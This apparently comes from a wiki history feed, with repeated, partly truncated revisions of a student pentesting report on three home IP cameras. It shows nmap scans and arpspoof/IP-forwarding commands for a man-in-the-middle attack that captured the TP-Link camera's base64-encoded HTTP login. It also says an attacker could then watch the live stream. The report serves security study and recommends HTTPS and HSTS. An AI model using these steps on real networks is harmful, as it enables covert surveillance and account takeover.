&lt;br /&gt;
* &amp;lt;b&amp;gt;Operating System:&amp;lt;/b&amp;gt;&lt;br /&gt;
** Kali Linux 2022.2&lt;br /&gt;
* &amp;lt;b&amp;gt;Tools:&amp;lt;/b&amp;gt;&lt;br /&gt;
** [https://nmap.org/man/de/index.html NMAP]&lt;br /&gt;
** [https://www.wireshark.org/ Wireshark]&lt;br /&gt;
** [https://linuxhint.com/arp_spoofing_using_man_in_the_middle_attack/ Mount a Man in the Middle Attack (MitM)]&lt;br /&gt;
* &amp;lt;b&amp;gt;Cameras:&amp;lt;/b&amp;gt;&lt;br /&gt;
** [https://www.abus.com/at/Sicherheit-Zuhause/Videoueberwachung/Ueberwachungskameras/WLAN-Netzwerkkameras/WLAN-Schwenk-Neige-Kameras/ABUS-Smart-Security-World-WLAN-Innen-Schwenk-Neige-Kamera ABUS PPIC32020]&lt;br /&gt;
** [https://www.amazon.de/wir-prasentieren-blink-mini-eine-kompakte-intelligente-plug-in-uberwachungskamera-fur-den-innenbereich-mit-1080p-hd-video-und-bewegungserkennung-die-mit-alexa-funktioniert/dp/B07X37DT9M Blink Mini]&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
In this chapter, we will demonstrate how we were able to extract information about the target devices, form attack vectors and exploit them afterwards.&lt;br /&gt;
&lt;br /&gt;
=== Methodology ===&lt;br /&gt;
&lt;br /&gt;
==== Step 1: NMAP ====&lt;br /&gt;
&lt;br /&gt;
We used NMAP to gather as much information as possible about the target systems. This includes IP Addresses, open Ports, Operating Systems, Services and many more. This part is crucial to gain a better understanding of how the camera works and is neccessary to perform sophisticated attacks to extract information or gain access.&lt;br /&gt;
&lt;br /&gt;
Nmap (Network Mapper) is a network scanner created by Gordon Lyon (also known by his pseudonym Fyodor Vaskovich).[4] Nmap is used to discover hosts and services on a computer network by sending packets and analyzing the responses.[5]&lt;br /&gt;
&lt;br /&gt;
Nmap provides a number of features for probing computer networks, including host discovery and service and operating system detection. These features are extensible by scripts that provide more advanced service detection,[6] vulnerability detection,[6] and other features. Nmap can adapt to network conditions including latency and congestion during a scan. [https://en.wikipedia.org/wiki/Nmap [1]]&lt;br /&gt;
&lt;br /&gt;
To gather information about the target systems we used the following commands:&lt;br /&gt;
&lt;br /&gt;
 nmap -sP [Network Address/Subnetmask]                Network Scan --&amp;gt; To discover the IP addresses of the target system inside the LAN&lt;br /&gt;
 nmap -sS -F [IP Address]                             TCP-SYN-Port-Scan (Host-Fast-Scan) --&amp;gt; Discovers open ports on target system&lt;br /&gt;
 nmap -sV [IP Address]                                Service Scan --&amp;gt; To discover the services listening on the open ports&lt;br /&gt;
 nmap -O [IP Address]                                 Operating System Scan --&amp;gt; Guesses the Operating System running on target host (Based on OS Fingerprints)&lt;br /&gt;
 nmap -Pn -sV --script vuln [IP Address]              Discovers possible vulnerabilities based on already known exploits for the specific service&lt;br /&gt;
&lt;br /&gt;
==== Step 2: Man in the Middle (MitM) ====&lt;br /&gt;
&lt;br /&gt;
In order to get a better understanding of how the architecture of the service provided by the IP Cameras works, we mounted a Man in the Middle Attack to gain information about how and where the camera connects to and how it deliveres their service to the endpoints (in our case the ABUS Camera used a [https://mobil.abus.com/de/Service/Service-Mediathek/ABUS-Apps Smartphone App] to connect and configure the camera and the two other used Web Services). To mount the MitM attack we utilized ARP Spoofing which can easily be done with the arpspoof command.&lt;br /&gt;
&lt;br /&gt;
 arpspoof -i [Your network interface] -t [Target IP] [The IP you pretend to be]&lt;br /&gt;
&lt;br /&gt;
In order to be able to completely execute the MitM attack, you need to enable IP forwarding otherwise the packets would be sent to you but would never arrive at their destination. To do this, enter the following command:&lt;br /&gt;
&lt;br /&gt;
 sysctl -w net.ipv4.ip_forward=1&lt;br /&gt;
&lt;br /&gt;
If the attack was mounted correctly, you should be able to capture the traffic between the two endpoints you mounted the attack (e.g. with Wireshark).&lt;br /&gt;
&lt;br /&gt;
In our case, we mounted two MitM attacks, the first one between the camera and the gateway, the second one between the smartphone or endpoint and the gateway to understand fully where and how the service connects to to provide its capabilities.&lt;br /&gt;
&lt;br /&gt;
==== Step 3: Reverse DNS Lookup &amp;amp; Geo Locator ====&lt;br /&gt;
&lt;br /&gt;
When viewing the captured traffic we stumbled over a lot of remote IP Addresses where the communication takes place. Therefore, we wanted to know the Domain of the Webservice the Camera is communicating with. To achieve this, we used the following, free to use, tools:&lt;br /&gt;
&lt;br /&gt;
* [https://mxtoolbox.com/ReverseLookup.aspx Reverse DNS Lookup]&lt;br /&gt;
* [https://www.iplocation.net/ Geo Locator of IP Addresses]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Step 4: Look through the, open source, firmware of the cameras (if available) ====&lt;br /&gt;
&lt;br /&gt;
To finish our research we searched for any open and available firmware packages of any of the given cameras provided by the manifacturer. &lt;br /&gt;
&lt;br /&gt;
Firmware: &lt;br /&gt;
&lt;br /&gt;
* [https://support.abus-sc.com/knowledge-base/aktuelle-firmware-software-apps-und-hilfs-programme/ ABUS PPIC32020]&lt;br /&gt;
* [https://www.tp-link.com/at/support/download/nc200/#Firmware TP-Link NC200]&lt;br /&gt;
* Blink Mini (no open and accessible firmware found)&lt;br /&gt;
&lt;br /&gt;
=== Gathered Information === &lt;br /&gt;
&lt;br /&gt;
==== NMAP ==== &lt;br /&gt;
&lt;br /&gt;
First of all, it is important to state that the ABUS Camera used two IP interfaces for their connection to the different services therefore two IP addresses needed to be investigated. Why and how this camera uses and needs two addresses will be discussed afterwards.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;margin:auto&amp;quot;&lt;br /&gt;
|+ NMAP Information&lt;br /&gt;
|-&lt;br /&gt;
! &amp;lt;b&amp;gt;NMAP Command&amp;lt;/b&amp;gt; !! &amp;lt;b&amp;gt;ABUS PPIC32020&amp;lt;/b&amp;gt; !! &amp;lt;b&amp;gt;TP-Link NC200&amp;lt;/b&amp;gt; !! &amp;lt;b&amp;gt;Blink Mini&amp;lt;/b&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Port Scan || [[File:ABUS_Port1.png|border|500px]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; [[File:ABUS_Port2.png|border|500px]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; We can see that all ports on both IP Addresses are closed. || [[File:TP_Service.png|border|500px]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; We can see that two ports (http and http-proxy) are open with the services lighttpd running. This indicates that the Camera hosts a web service. || [[File:Blink_OS_Port.png|border|500px]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; We can see that no ports are open and accessible.&lt;br /&gt;
|-&lt;br /&gt;
| OS Scan || [[File:ABUS_OS1.png|border|500px]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; [[File:ABUS_OS2.png|border|500px]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; No OS Detection available since there are to many OS fingerprints. Same result with aggressive OS Guess. || [[File:TP_OS.png|border|500px]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; OS Details: [https://openwrt.org/releases/8.09/notes-8.09 OpenWrt Kamikaze 8.09] || [[File:Blink_OS_Port.png|border|500px]] &amp;lt;br&amp;gt; &amp;lt;br&amp;gt; No definite OS Guess, some suggestions.&lt;br /&gt;
|-&lt;br /&gt;
| Vulnerability Scan || [[File:ABUS_Vuln1.png|border|500px]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; [[File:ABUS_Vuln2.png|border|500px]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; Only output: [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1002 CVE-2011-1002]. || [[File:TP_Vuln.png|border|500px]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;  Only output: [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1002 CVE-2011-1002] || [[File:Blink_Vuln.png|border|500px]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; Only output: [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1002 CVE-2011-1002]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==== Man in the Middle, Reverse DNS Query and Geo Location ====&lt;br /&gt;
&lt;br /&gt;
* ABUS PPIC32020&lt;br /&gt;
** Smartphone App connects to: &lt;br /&gt;
*** 142.251.39.74&lt;br /&gt;
**** Domain: bud02s39-in-f10.1e100.net.&lt;br /&gt;
**** Located in: Budapest, Ungarn&lt;br /&gt;
*** 35.169.53.92&lt;br /&gt;
**** Domain: ec2-35-169-53-92.compute-1.amazonaws.com.&lt;br /&gt;
**** Located in: Dallas, Texas, United States &lt;br /&gt;
*** 44.195.176.7&lt;br /&gt;
**** Domain: ec2-44-195-176-7.compute-1.amazonaws.com.&lt;br /&gt;
**** Located in: Ashburn, Virginia, United States&lt;br /&gt;
** Camera connects to: &lt;br /&gt;
*** 176.34.104.236&lt;br /&gt;
**** Domain: ec2-176-34-104-236.eu-west-1.compute.amazonaws.com&lt;br /&gt;
**** Located in: Dublin, Leinster, Ireland&lt;br /&gt;
*** 239.255.255.250&lt;br /&gt;
**** Multicast Address used by SSDP&lt;br /&gt;
&lt;br /&gt;
==== Behaviour of ABUS PPIC32020 ====&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;b&amp;gt;Smartphone located inside Network:&amp;lt;/b&amp;gt;&lt;br /&gt;
[[File:InsideNetwork.jpg|border|500px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
If the smartphone with the app is located inside the network and wants to connect to the camera, the main data stream stays inside the LAN.&lt;br /&gt;
* &amp;lt;b&amp;gt;Smartphone located outside Network:&amp;lt;/b&amp;gt;&lt;br /&gt;
[[File:OutsideNetwork.jpg|border|500px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
If the smartphone with the app is located outside the network and wants to connect to the camera, the main data stream gets hosted to an AWS Cloud Server where the App fetches the data.&lt;br /&gt;
&lt;br /&gt;
== Exploitation ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;float:right; margin-left: 10px;&amp;quot;&lt;br /&gt;
| [[File:HTTP.jpg|border|500px]]&lt;br /&gt;
|-&lt;br /&gt;
| Traffic capture from MitM attack. Here we can see the exposed admin user with the base64 encoded password. &lt;br /&gt;
|-&lt;br /&gt;
| [[File:Base64.jpg|border|200px]]&lt;br /&gt;
|-&lt;br /&gt;
| Screenshot of the Base64 Decoding. This results in the password &amp;quot;admin&amp;quot;. So the user used the credentials username= &amp;quot;admin&amp;quot; password = &amp;quot;admin&amp;quot;. &lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
First of all, to exploit the vunerability we have discovered for the TP-LINK camera, you have to be in the same network as the target machine.&lt;br /&gt;
After, we found out the correct IP address of the target device, we basically did the man in the middle attack and arp spoofing. We as the attacker claimed to be the gateway for the target machine and the same the other way around. After that, we captured the data with Wireshark, between the two components. For this to work you have to capture in the same moment as the login process of the user.&lt;br /&gt;
Because of the HTTP vulnerabilty which the TP-LINK camera has we could see on the post request, which was on the port 80,the login credentials. On the one hand, the username was transmitted in plaintext , but on the other hand the password was sent encoded in Base64. Encoding without encrypting does not ensure you security so we were able to easily decode the password by an online tool.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now with all the data we have collected as the attacker, you basically have full acess to the camera. Meaning, you can easily change the password and lock the users account. Secondly, with the acces to livestream of the camera you can observe the victim any time. Furthermore, you have the access to all the other additional functions that the camera provides.&lt;br /&gt;
&lt;br /&gt;
== Conclusion, Report and recommended Countermeasures ==&lt;br /&gt;
&lt;br /&gt;
The combined number of cameras tested are 3, all with their own functionalities.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;ABUS PPIC32020:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Uses an App that is downloadable on any phone, to control it. The user has the ability to move the camera to adjust the image that is seen. It provides the user with a Full HD 1080p resolution and addtionally it has night vision and it can also activate automatically via motion detection. It has an integrated microphone and speakers. The camera uses a number of protocols, namely: TCP/IP, UDP, SMTP, NTP, DHCP, ARP. Furthermore to encrypt the transmitted data it uses AES 128bit Encryption with WPA/WPA2-PSK. As it is an IP-camera it connects to your local internet and has 2 ways of delivering data to the user, which are further elaborated in the &amp;quot;Behaviour of ABUS PPIC32020&amp;quot; section of this article.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;TP-LINK NC250:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Uses an App or the web browser to connect to the camera and to control it. It provides the user with an HD 720p resolution and comes with night vision capabilities. The camera uses protocols such as TCP and UDP to transport data. To encrypt the travelling data it uses WEP and WPA-PSK/WPA2-PSK. It also connects to your local internet and creates a local web server where it fetches the data needed. This sent via HTTP which leads to some issues addressed later in this article.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Blink-Mini:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Uses an App that is also downloadable on any phone to control and get access to its functionalities. In the app the user can adjust the settings of many functions and access the live feed. The camera provides the user with a Full HD 1080p resolution with added motion detection, which captures the next 30 seconds after it was triggered. The camera is also equipped with an integrated microphone and speakers, which allows the user to talk through the camera or with the camera. It uses a number of protocols namely TCP, UDP, ARP, TLS to name a few. It uses AES encryption with WPA2-PSK to ensure the safety of the data.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Risk:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The usage of the scan tools mentioned in the article led to no open ports for the ABUS and Blink-mini camera but showed 2 open ports for the TP-Liink camera, namely Port 80 and 8080 with the versions lighttpd 1.4.32 and Streamd.A42BB014AF19. Which could not be exploited with Metasploit. The actual problem which was stated before was the transmission of data through HTTP. The port 80 communicates the login information of the user to the browser via HTTP, which leads to it being easily readable if captured. The simplicity of executing an arpspoof (if the attacker has access to the local network) leads to this exploit being a major security flaw.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Countermeasure:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The easiest solution would be to migrate from HTTP to HTTPS which leads to the user information not being in plaintext. For this you need to aquire an SSL certificate and install it. Afterwards you need to ensure that everything routes to that HTTPS link not to the previous HTTP link, done by redirecting every request to the HTTPS link.&amp;lt;br&amp;gt;&lt;br /&gt;
Another solution would be to add HTTP security headers, namely HTTP Strict Transport Security (HSTS) which enforces the use of HTTPS connections if available instead ot plain text HTTP ones.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
*https://www.invicti.com/blog/web-security/http-security-headers/&lt;br /&gt;
*https://www.brafton.com/blog/distribution/how-to-convert-http-to-https-a-quick-guide/&lt;br /&gt;
*https://www.bedienungsanleitu.ng/tp-link/tl-nc250/anleitung?p=51&lt;br /&gt;
*https://support.blinkforhome.com/en_US/before-you-begin/blink-technical-specifications&lt;br /&gt;
*https://www.abus.com/at/Sicherheit-Zuhause/Videoueberwachung/Ueberwachungskameras/WLAN-Netzwerkkameras/WLAN-Schwenk-Neige-Kameras/ABUS-Smart-Security-World-WLAN-Innen-Schwenk-Neige-Kamera&lt;br /&gt;
&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>JKasser</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=IP_Cameras_Pentesting_Report&amp;diff=10390</id>
		<title>IP Cameras Pentesting Report</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=IP_Cameras_Pentesting_Report&amp;diff=10390"/>
		<updated>2022-07-14T13:51:57Z</updated>

		<summary type="html">&lt;p&gt;JKasser: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This Article is a comprehensive descirption of a pentesting process regarding three IP Cameras ABUS PPIC32020, Blink-Mini and TP-Link NC200. In the further course of this Report the Methology of the Information Gathering Process will be pointed out, afterwards the gathered information will be analysed. With the analysis of the gathered information vulnerabilities will be pointed out. We will form attack vectors, exploit this vulnerabilites and recommend countermesaures for the vendors to make their systems more secure.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
In order to perform the Exploits the following tools were needed. &lt;br /&gt;
&lt;br /&gt;
* &amp;lt;b&amp;gt;Operating System:&amp;lt;/b&amp;gt;&lt;br /&gt;
** Kali Linux 2022.2&lt;br /&gt;
* &amp;lt;b&amp;gt;Tools:&amp;lt;/b&amp;gt;&lt;br /&gt;
** [https://nmap.org/man/de/index.html NMAP]&lt;br /&gt;
** [https://www.wireshark.org/ Wireshark]&lt;br /&gt;
** [https://linuxhint.com/arp_spoofing_using_man_in_the_middle_attack/ Mount a Man in the Middle Attack (MitM)]&lt;br /&gt;
* &amp;lt;b&amp;gt;Cameras:&amp;lt;/b&amp;gt;&lt;br /&gt;
** [https://www.abus.com/at/Sicherheit-Zuhause/Videoueberwachung/Ueberwachungskameras/WLAN-Netzwerkkameras/WLAN-Schwenk-Neige-Kameras/ABUS-Smart-Security-World-WLAN-Innen-Schwenk-Neige-Kamera ABUS PPIC32020]&lt;br /&gt;
** [https://www.amazon.de/wir-prasentieren-blink-mini-eine-kompakte-intelligente-plug-in-uberwachungskamera-fur-den-innenbereich-mit-1080p-hd-video-und-bewegungserkennung-die-mit-alexa-funktioniert/dp/B07X37DT9M Blink Mini]&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
In this chapter, we will demonstrate how we were able to extract information about the target devices, form attack vectors and exploit them afterwards.&lt;br /&gt;
&lt;br /&gt;
=== Methodology ===&lt;br /&gt;
&lt;br /&gt;
==== Step 1: NMAP ====&lt;br /&gt;
&lt;br /&gt;
We used NMAP to gather as much information as possible about the target systems. This includes IP Addresses, open Ports, Operating Systems, Services and many more. This part is crucial to gain a better understanding of how the camera works and is neccessary to perform sophisticated attacks to extract information or gain access.&lt;br /&gt;
&lt;br /&gt;
Nmap (Network Mapper) is a network scanner created by Gordon Lyon (also known by his pseudonym Fyodor Vaskovich).[4] Nmap is used to discover hosts and services on a computer network by sending packets and analyzing the responses.[5]&lt;br /&gt;
&lt;br /&gt;
Nmap provides a number of features for probing computer networks, including host discovery and service and operating system detection. These features are extensible by scripts that provide more advanced service detection,[6] vulnerability detection,[6] and other features. Nmap can adapt to network conditions including latency and congestion during a scan. [https://en.wikipedia.org/wiki/Nmap [1]]&lt;br /&gt;
&lt;br /&gt;
To gather information about the target systems we used the following commands:&lt;br /&gt;
&lt;br /&gt;
 nmap -sP [Network Address/Subnetmask]                Network Scan --&amp;gt; To discover the IP addresses of the target system inside the LAN&lt;br /&gt;
 nmap -sS -F [IP Address]                             TCP-SYN-Port-Scan (Host-Fast-Scan) --&amp;gt; Discovers open ports on target system&lt;br /&gt;
 nmap -sV [IP Address]                                Service Scan --&amp;gt; To discover the services listening on the open ports&lt;br /&gt;
 nmap -O [IP Address]                                 Operating System Scan --&amp;gt; Guesses the Operating System running on target host (Based on OS Fingerprints)&lt;br /&gt;
 nmap -Pn -sV --script vuln [IP Address]              Discovers possible vulnerabilities based on already known exploits for the specific service&lt;br /&gt;
&lt;br /&gt;
==== Step 2: Man in the Middle (MitM) ====&lt;br /&gt;
&lt;br /&gt;
In order to get a better understanding of how the architecture of the service provided by the IP Cameras works, we mounted a Man in the Middle Attack to gain information about how and where the camera connects to and how it deliveres their service to the endpoints (in our case the ABUS Camera used a [https://mobil.abus.com/de/Service/Service-Mediathek/ABUS-Apps Smartphone App] to connect and configure the camera and the two other used Web Services). To mount the MitM attack we utilized ARP Spoofing which can easily be done with the arpspoof command.&lt;br /&gt;
&lt;br /&gt;
 arpspoof -i [Your network interface] -t [Target IP] [The IP you pretend to be]&lt;br /&gt;
&lt;br /&gt;
In order to be able to completely execute the MitM attack, you need to enable IP forwarding otherwise the packets would be sent to you but would never arrive at their destination. To do this, enter the following command:&lt;br /&gt;
&lt;br /&gt;
 sysctl -w net.ipv4.ip_forward=1&lt;br /&gt;
&lt;br /&gt;
If the attack was mounted correctly, you should be able to capture the traffic between the two endpoints you mounted the attack (e.g. with Wireshark).&lt;br /&gt;
&lt;br /&gt;
In our case, we mounted two MitM attacks, the first one between the camera and the gateway, the second one between the smartphone or endpoint and the gateway to understand fully where and how the service connects to to provide its capabilities.&lt;br /&gt;
&lt;br /&gt;
==== Step 3: Reverse DNS Lookup &amp;amp; Geo Locator ====&lt;br /&gt;
&lt;br /&gt;
When viewing the captured traffic we stumbled over a lot of remote IP Addresses where the communication takes place. Therefore, we wanted to know the Domain of the Webservice the Camera is communicating with. To achieve this, we used the following, free to use, tools:&lt;br /&gt;
&lt;br /&gt;
* [https://mxtoolbox.com/ReverseLookup.aspx Reverse DNS Lookup]&lt;br /&gt;
* [https://www.iplocation.net/ Geo Locator of IP Addresses]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Step 4: Look through the, open source, firmware of the cameras (if available) ====&lt;br /&gt;
&lt;br /&gt;
To finish our research we searched for any open and available firmware packages of any of the given cameras provided by the manifacturer. &lt;br /&gt;
&lt;br /&gt;
Firmware: &lt;br /&gt;
&lt;br /&gt;
* [https://support.abus-sc.com/knowledge-base/aktuelle-firmware-software-apps-und-hilfs-programme/ ABUS PPIC32020]&lt;br /&gt;
* [https://www.tp-link.com/at/support/download/nc200/#Firmware TP-Link NC200]&lt;br /&gt;
* Blink Mini (no open and accessible firmware found)&lt;br /&gt;
&lt;br /&gt;
=== Gathered Information === &lt;br /&gt;
&lt;br /&gt;
==== NMAP ==== &lt;br /&gt;
&lt;br /&gt;
First of all, it is important to state that the ABUS Camera used two IP interfaces for their connection to the different services therefore two IP addresses needed to be investigated. Why and how this camera uses and needs two addresses will be discussed afterwards.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;margin:auto&amp;quot;&lt;br /&gt;
|+ NMAP Information&lt;br /&gt;
|-&lt;br /&gt;
! &amp;lt;b&amp;gt;NMAP Command&amp;lt;/b&amp;gt; !! &amp;lt;b&amp;gt;ABUS PPIC32020&amp;lt;/b&amp;gt; !! &amp;lt;b&amp;gt;TP-Link NC200&amp;lt;/b&amp;gt; !! &amp;lt;b&amp;gt;Blink Mini&amp;lt;/b&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Port Scan || [[File:ABUS_Port1.png|border|500px]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; [[File:ABUS_Port2.png|border|500px]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; We can see that all ports on both IP Addresses are closed. || [[File:TP_Service.png|border|500px]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; We can see that two ports (http and http-proxy) are open with the services lighttpd running. This indicates that the Camera hosts a web service. || [[File:Blink_OS_Port.png|border|500px]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; We can see that no ports are open and accessible.&lt;br /&gt;
|-&lt;br /&gt;
| OS Scan || [[File:ABUS_OS1.png|border|500px]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; [[File:ABUS_OS2.png|border|500px]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; No OS Detection available since there are to many OS fingerprints. Same result with aggressive OS Guess. || [[File:TP_OS.png|border|500px]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; OS Details: [https://openwrt.org/releases/8.09/notes-8.09 OpenWrt Kamikaze 8.09] || [[File:Blink_OS_Port.png|border|500px]] &amp;lt;br&amp;gt; &amp;lt;br&amp;gt; No definite OS Guess, some suggestions.&lt;br /&gt;
|-&lt;br /&gt;
| Vulnerability Scan || [[File:ABUS_Vuln1.png|border|500px]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; [[File:ABUS_Vuln2.png|border|500px]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; Only output: [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1002 CVE-2011-1002]. || [[File:TP_Vuln.png|border|500px]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;  Only output: [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1002 CVE-2011-1002] || [[File:Blink_Vuln.png|border|500px]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; Only output: [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1002 CVE-2011-1002]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==== Man in the Middle, Reverse DNS Query and Geo Location ====&lt;br /&gt;
&lt;br /&gt;
* ABUS PPIC32020&lt;br /&gt;
** Smartphone App connects to: &lt;br /&gt;
*** 142.251.39.74&lt;br /&gt;
**** Domain: bud02s39-in-f10.1e100.net.&lt;br /&gt;
**** Located in: Budapest, Ungarn&lt;br /&gt;
*** 35.169.53.92&lt;br /&gt;
**** Domain: ec2-35-169-53-92.compute-1.amazonaws.com.&lt;br /&gt;
**** Located in: Dallas, Texas, United States &lt;br /&gt;
*** 44.195.176.7&lt;br /&gt;
**** Domain: ec2-44-195-176-7.compute-1.amazonaws.com.&lt;br /&gt;
**** Located in: Ashburn, Virginia, United States&lt;br /&gt;
** Camera connects to: &lt;br /&gt;
*** 176.34.104.236&lt;br /&gt;
**** Domain: ec2-176-34-104-236.eu-west-1.compute.amazonaws.com&lt;br /&gt;
**** Located in: Dublin, Leinster, Ireland&lt;br /&gt;
*** 239.255.255.250&lt;br /&gt;
**** Multicast Address used by SSDP&lt;br /&gt;
&lt;br /&gt;
==== Behaviour of ABUS PPIC32020 ====&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;b&amp;gt;Smartphone located inside Network:&amp;lt;/b&amp;gt;&lt;br /&gt;
[[File:InsideNetwork.jpg|border|500px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
If the smartphone with the app is located inside the network and wants to connect to the camera, the main data stream stays inside the LAN.&lt;br /&gt;
* &amp;lt;b&amp;gt;Smartphone located outside Network:&amp;lt;/b&amp;gt;&lt;br /&gt;
[[File:OutsideNetwork.jpg|border|500px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
If the smartphone with the app is located outside the network and wants to connect to the camera, the main data stream gets hosted to an AWS Cloud Server where the App fetches the data.&lt;br /&gt;
&lt;br /&gt;
== Exploitation ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;float:right; margin-left: 10px;&amp;quot;&lt;br /&gt;
| [[File:HTTP.jpg|border|500px]]&lt;br /&gt;
|-&lt;br /&gt;
| Traffic capture from MitM attack. Here we can see the exposed admin user with the base64 encoded password. &lt;br /&gt;
|-&lt;br /&gt;
| [[File:Base64.jpg|border|200px]]&lt;br /&gt;
|-&lt;br /&gt;
| Screenshot of the Base64 Decoding. This results in the password &amp;quot;admin&amp;quot;. So the user used the credentials username= &amp;quot;admin&amp;quot; password = &amp;quot;admin&amp;quot;. &lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
First of all, to exploit the vunerability we have discovered for the TP-LINK camera, you have to be in the same network as the target machine.&lt;br /&gt;
After, we found out the correct IP address of the target device, we basically did the man in the middle attack and arp spoofing. We as the attacker claimed to be the gateway for the target machine and the same the other way around. After that, we captured the data with Wireshark, between the two components. For this to work you have to capture in the same moment as the login process of the user.&lt;br /&gt;
Because of the HTTP vulnerabilty which the TP-LINK camera has we could see on the post request, which was on the port 80,the login credentials. On the one hand, the username was transmitted in plaintext , but on the other hand the password was sent encoded in Base64. Encoding without encrypting does not ensure you security so we were able to easily decode the password by an online tool.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now with all the data we have collected as the attacker, you basically have full acess to the camera. Meaning, you can easily change the password and lock the users account. Secondly, with the acces to livestream of the camera you can observe the victim any time. Furthermore, you have the access to all the other additional functions that the camera provides.&lt;br /&gt;
&lt;br /&gt;
== Conclusion, Report and recommended Countermeasures ==&lt;br /&gt;
&lt;br /&gt;
The combined number of cameras tested are 3, all with their own functionalities.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;ABUS PPIC32020:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Uses an App that is downloadable on any phone, to control it. The user has the ability to move the camera to adjust the image that is seen. It provides the user with a Full HD 1080p resolution and addtionally it has night vision and it can also activate automatically via motion detection. It has an integrated microphone and speakers. The camera uses a number of protocols, namely: TCP/IP, UDP, SMTP, NTP, DHCP, ARP. Furthermore to encrypt the transmitted data it uses AES 128bit Encryption with WPA/WPA2-PSK. As it is an IP-camera it connects to your local internet and has 2 ways of delivering data to the user, which are further elaborated in the &amp;quot;Behaviour of ABUS PPIC32020&amp;quot; section of this article.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;TP-LINK NC250:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Uses an App or the web browser to connect to the camera and to control it. It provides the user with an HD 720p resolution and comes with night vision capabilities. The camera uses protocols such as TCP and UDP to transport data. To encrypt the travelling data it uses WEP and WPA-PSK/WPA2-PSK. It also connects to your local internet and creates a local web server where it fetches the data needed. This sent via HTTP which leads to some issues addressed later in this article.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Blink-Mini:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
